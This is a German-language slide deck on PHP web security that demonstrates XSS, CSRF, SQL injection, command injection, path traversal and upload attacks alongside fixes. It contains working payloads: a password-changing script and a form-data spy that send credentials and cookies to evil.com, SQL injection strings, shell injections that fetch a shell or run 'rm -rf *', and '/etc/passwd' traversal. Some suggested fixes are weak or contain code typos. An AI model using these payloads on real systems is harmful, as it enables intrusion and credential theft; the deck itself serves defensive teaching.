1 of 41

 

try {  var password = "owned";

  var username = "";  jQuery.post('/admin/change_password.php?id=1', {    "password"        : password;    "password_repeat" : password;  }, function(data) {    username = data.match(/\<span id="username"\>(.*?)\<\/span\>/)[0];    $('body').append('<img src="/admin/logout.php" />';    $('body').append('<img src="http://evil.com/owned.php?user='+username+'&password='+password+'" />';  });} catch(e) { }

2 of 41

PHP Security Brainwash

Rüdiger Marwein

3 of 41

Sicherheitslücke

Eine Sicherheitslücke ist im Gebiet der Informationssicherheit ein Fehler in einer Software, durch den ein Programm mit Schadwirkung (Malware) oder ein Angreifer in ein Computersystem eindringen kann.

 

Wikipedia: Sicherheitslücke (Software)

4 of 41

Beispiel

Das Leben ist eine Pralinenschachtel.

5 of 41

Beispiel

Das Geschäftsmodell unseres Unternehmens basiert auf der Ausbeutung von Kindern in der Dritten Welt. Alle gewebten Produkte wurden von Kinder-Sklaven hergestellt um den für Sie niedrigsten Preis möglich zu machen. 

Für unsere Kunden: Das Geschenk zu jeder Bestellung noch in diesem Jahr ist eine Pralinenschachtel.

6 of 41

Potentielle Angriffsflächen

  • URLs
  • Formulare
  • User Generated Content

7 of 41

Benutzereingaben

  • ... ist stets zu mißtrauen
  • ... müssen immer geprüft werden
  • ... müssen entwertet werden
  • ... dürfen nicht zu Fehlerverhalten führen

8 of 41

Schutz für ...

  • die Daten von Benutzern
  • die Benutzer selbst
  • die Daten der Webanwendung
  • die Daten des Servers
  • die Integrität der Firmennetzes

9 of 41

Die beleuchteten Methoden

  • XSS - Cross Site Scripting
  • CSRF - Cross Site Request Forgery
  • SQL Injection

  • Remote code execution
  • Beliebiger Dateizugriff
  • Datei-Upload

10 of 41

Cookies

  • ... werden mit Bezug zur Webseite gespeichert
  • ... werden bei jeder Anfrage an die Webseite mitgeschickt

Die Session-ID ist i.d.R. als Cookie gespeichert.

 

Über die Session-ID ist der Nutzer u.U. authentifiziert bei

  • einer Community
  • einem CMS
  • einem Forum
  • ...

... und hat entsprechende Rechte / Privilegien ...

11 of 41

XSS - Cross Site Scripting

  • Fehlerquelle
    • Benutzereingabe wird ungefiltert ausgeben

 

  • Angriffsmöglichkeiten
    • Inhalt verändern
    • Einfügen von JavaScript
    • Einfügen von Formularen und Links
    • Phishing

  • Man unterscheidet:
    • nicht persistent / reflexiv
    • persistent / stored

12 of 41

CSRF - Cross site request forgery

  • Möglich durch Cross Site Scripting

 

  • Aktionen auf Serverseite auslösen mit den Rechten des Benutzers. Beispielsweise:
    • CMS-Inhalte ändern
    • Zugangsdaten ändern
    • E-Mails auslösen
    • Script starten 
    • ...

13 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

$category = isset($_GET['category']) ? $_GET['category'] : '';

<h2>Aktuelle Kategorie: <?= $category; ?></h2>

 

 

Besser:

<h2>Aktuelle Kategorie: <?= htmlspecialchars($category); ?></h2> 

 

Noch besser:

Nur echte / bekannte Kategorienamen zulassen

14 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

<h2>Aktuelle Kategorie: <?= $category; ?></h2>

 

Schadhafte Eingaben für $category:

<script type="text/javascript" src="http://evil.com/formdata_spy.js"></script>

 

<img src="http://meinblog.com/logout.php" />

<img src="http://careless-shop.com/password.php?new=owned" />

 

15 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

Würden Sie auf diesen Link klicken?

index.php?category=<script type="text/javascript" src="http://evil.com/formdata_spy.js"></script>

 

Vielleicht auf diesen Link?

http://www.spiegel.de@evil.com/lustig.php

Oder vielleicht auf diesen Link?

http://bit.ly/tBNBaj

16 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

Datei: http://evil.com/formdata_spy.js

 

for(i=0; i<document.forms.length; i++) {�  document.forms[i].action = 'http://evil.com/save_formdata.php';�  var hidden = document.createElement('input');�  hidden.type = 'hidden';�  hidden.name = 'cookies';�  hidden.value = document.cookie;�  document.forms[i].appendChild(hidden);�}�

17 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';

 

<input type="text" value="<?= $username ?>" name="username" />

 

 

Besser:

<input type="text" value="<?= htmlspecialchars($username) ?>" name="username" />

 

 

 

18 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';

 

<input type="text" value="<?= $username ?>" name="username" />

index.php?login_username=" /><h1>careless.com = Kinderarbeit</h1><a x="

<input type="text" value="" /><h1>careless.com = Kinderarbeit</h1><a x="" name="username" />

index.php?login_username=" /><script type="text/javascript" src="http://evil.com/formdata_spy.js"></script><a x="

 

 

19 of 41

XSS - Cross Site Scripting

CSRF - Cross site request forgery

$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';

 

<input type="text" value="<?= htmlspecialchars($username) ?>" name="login_username" />

 

 

<input type="text" value="&quot; /&gt;<script type=&quot;text/javascript&quot; src=&quot;http://evil.com/formdata_spy.js&quot;&gt;&lt;/script&gt;&lt;a x=&quot;" name="login_username" />

20 of 41

SQL Injection

Fehlerquelle

  • Benutzereingabe in SQL-Anweisung nicht entwertet

Angriffsmöglichkeiten

  • Benutzerdaten auslesen
  • Daten verändern
  • Loginprozess umgehen
  • ...

21 of 41

SQL Injection

$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";

Besser:

$query = sprintf("SELECT username,admin FROM users WHERE username='%s' AND passwd='%s'",

  $DB->real_escape_string($username) ,

  $DB->real_escape_string($password) ); 

22 of 41

SQL Injection

$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";

Noch Besser (mysqli mit Binding):

// $DB = new mysqli( ... );

$query = "SELECT username,admin FROM users WHERE username=? AND passwd=?";

$stmt = $DB->prepare($query);

$stmt->bind_param('ss', $username, $password);

$stmt->execute();

$stmt->bind_result($res_username, $res_admin);

$stmt->fetch() ;

 

23 of 41

SQL Injection

$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";

Auch Besser (PDO mit Binding):

// $DB = new PDO( ... );

$query = "SELECT username,admin FROM users WHERE username=? AND passwd=?";

$stmt = $DB->prepare($query);

$stmt->execute(array($username, $password));

$rows = $stmt->fetchAll(PDO::FETCH_CLASS, 'stdClass');

 

24 of 41

SQL Injection

$query = "SELECT * FROM users WHERE username='".$username."' AND passwd='".$password."'";

 

Schadhafte Eingaben für $username oder $password:

' OR 1=1; -- 

 

' OR id=1; -- 

' OR 1=1 LIMIT 2,1; -- 

25 of 41

SQL Injection

$query = "SELECT id,date,title,text,image FROM news WHERE category='".$category."'";

Wer hat genug kriminelle Energie?

Tipps:

  • Ergebnis ist eine Liste von Datensätzen der entspr. Kategorie.
  • Es wird "date" und "title" auf der Webseite ausgegeben.

26 of 41

SQL Injection

$query = "SELECT id,date,title,text,image FROM news WHERE category='".$category."'";

 

Schadhafte Eingabe für $category:

 

' UNION SELECT 1, passwd, username, 2, 3 FROM users; --  

27 of 41

Remote code execution

Fehlerquelle

  • Benutzereingabe in Kommandozeilen-Aufruf nicht entwertet

Angriffsmöglichkeiten

  • Löschbefehl ausführen
  • Eigenes Programm herunterladen und ausführen
  • PHP-"Shell" herunterladen
    • Dateien ändern (Defacement der Webseite)
    • Passwörter auslesen
    • Datenbank-Dump herunterladen
    • Konfigurations-Dateien systemweit suchen
    • ...
  • ...

28 of 41

Remote code execution

exec('tar czf secure/backup_'.date('Y-m-d').'.tgz '.$directory);

Besser:

 

exec('tar czf secure/backup_'.date(Y-m-d).'.tgz '. 

  escapeshellarg($directory));

29 of 41

Remote code execution

exec('tar czf secure/backup_'.date('Y-m-d').'.tgz '.$directory);

Schadhafte Eingaben für $directory:

 

 ; wget http://evil.com/shell.php

 ; rm -rf *

 > /dev/null 2>&1; tar czvf download_files.tgz *

 > /dev/null 2>&1; ab -n100 -c10 -t1 http://firma.de/suche.php?q=oder

30 of 41

Beliebiger Dateizugriff

Fehlerquelle

  • Benutzereingabe in Dateipfad für Download nicht entwertet

 

Angriffsmöglichkeiten

  • Config-Dateien auslesen
  • Quellcode von PHP-Dateien auslesen
    • Weitere Angriffspunkte finden
  • System-Daten auslesen
  • nutzerbezogene Dateien auslesen
  • ...

31 of 41

Beliebiger Dateizugriff

readfile(__DIR__.'/uploads/'.$file);

 

 

Besser (nur tieferer Pfad gestattet):

 

$file = str_replace('../','',$file);

 

Besser (kein Pfad gestattet):

 

$file = basename($file);

32 of 41

Beliebiger Dateizugriff

readfile(__DIR__.'/uploads/'.$file);

 

Schadhafte Eingabe für $file:

../index.php

../phpmyadmin/inc.config.php

 

../../../../../../../../etc/passwd

33 of 41

Datei-Upload

Fehlerquelle

  • Datei-Typ nicht auf Tauglichkeit geprüft
  • Hochgeladene Datei online aufrufbar

 

Angriffsmöglichkeiten

  • Hochladen von PHP-Scripten
  • Hochladen von ausführbaren Dateien
  • Hochladen von MP3s, ZIPs, virenbehaftete Dateien, ...

Mimetype-Prüfung reicht nicht!

# cp blank.gif image.php

# cat shell.php >> image.php

# file image.php

image/gif

34 of 41

Datei-Upload

$file = isset($_FILES['image']) ? $_FILES['image'] : array();

if(!empty($file) && $file['error'] == 0) {

    move_uploaded_file(

      $file['tmp_name'], 

      $UPLOADFOLDER.'/'.$file['name']);

}

35 of 41

Datei-Upload

Besser:

$file = isset($_FILES['image']) ? $_FILES['image'] : array();

$fileTypes = array('gif', 'png', 'jpg');

if(!empty($file) && $file['error'] == 0)

  $fileExtension = substr($file['name'],-3);

  $isImage =  substr($file['type'],0,5) == 'image';

  $extValid = in_array($fileExtension, $fileTypes); 

  if($extValid &&  $isImage) {

    move_uploaded_file(

      $file['tmp_name'], 

      $UPLOADFOLDER.'/'.$file['name']);

  }

}

36 of 41

 

if($_FILES['image']['error'] == 0) ...

 

Schadhafte Eingabe für $_FILES:

 

shell.php

 

exploit.tgz

 

AdobePhotoshopCS5.rar

 

Metallica-NothingElseMatters.mp3

 

...

37 of 41

Sonstiges - nicht behandelt

  • http://careless.com/ecard.php?show=3421
  • MD5 Cracker
  • Mail Header injection
  • HTTP Header Injection
  • Bruteforce Attacke
  • Spam
  • .php~
  • index.php.bak
  • ...

38 of 41

Der Schutz: �Kontextbezogen entwerten

HTML

  htmlspecialchars

E-Mail Adresse�  filter_var  FILTER_SANITIZE_EMAIL

 

exec, system ...

  escapeshellarg

 

include

  basename

eval, preg_replace mit /e

  alles Erdenklicke

Dateipfade

  ../ filtern, nur in Basispfad

Upload

  Dateiendung und Mimetype

HTTP Header

  \r\n

SQL

  *real_escape_string

URL

  rawurlencode

39 of 41

Vielen Dank

 

40 of 41

E-Mail-Header Injection

Fehlerquelle

  • Benutzereingabe in Mail Header nicht entwertet

 

Angriffsmöglichkeiten

  • Massenmails
  • Spam-Mails (\r\n -> eigener Content)
  • Einbetten von XSS-Links (Absender vertrauenswürdig)
  • ...

 

Weitere:

  • Mailbomben durch Dauer-Versand
    • irgendwann blacklisted

41 of 41

Wiederholung: �Kontextbezogen entwerten

HTML

  htmlspecialchars

Mail�  filter_var  FILTER_SANITIZE_EMAIL

 

exec,system, `` ...

  escapeshellarg

 

include

  basename

eval, preg_replace mit /e

  alles Erdenkliche

Dateipfade

  ../ filtern, nur in Basispfad

Upload

  Dateiendung und Mimetype

HTTP Header

  \r\n

SQL

  *real_escape_string

URL

  rawurlencode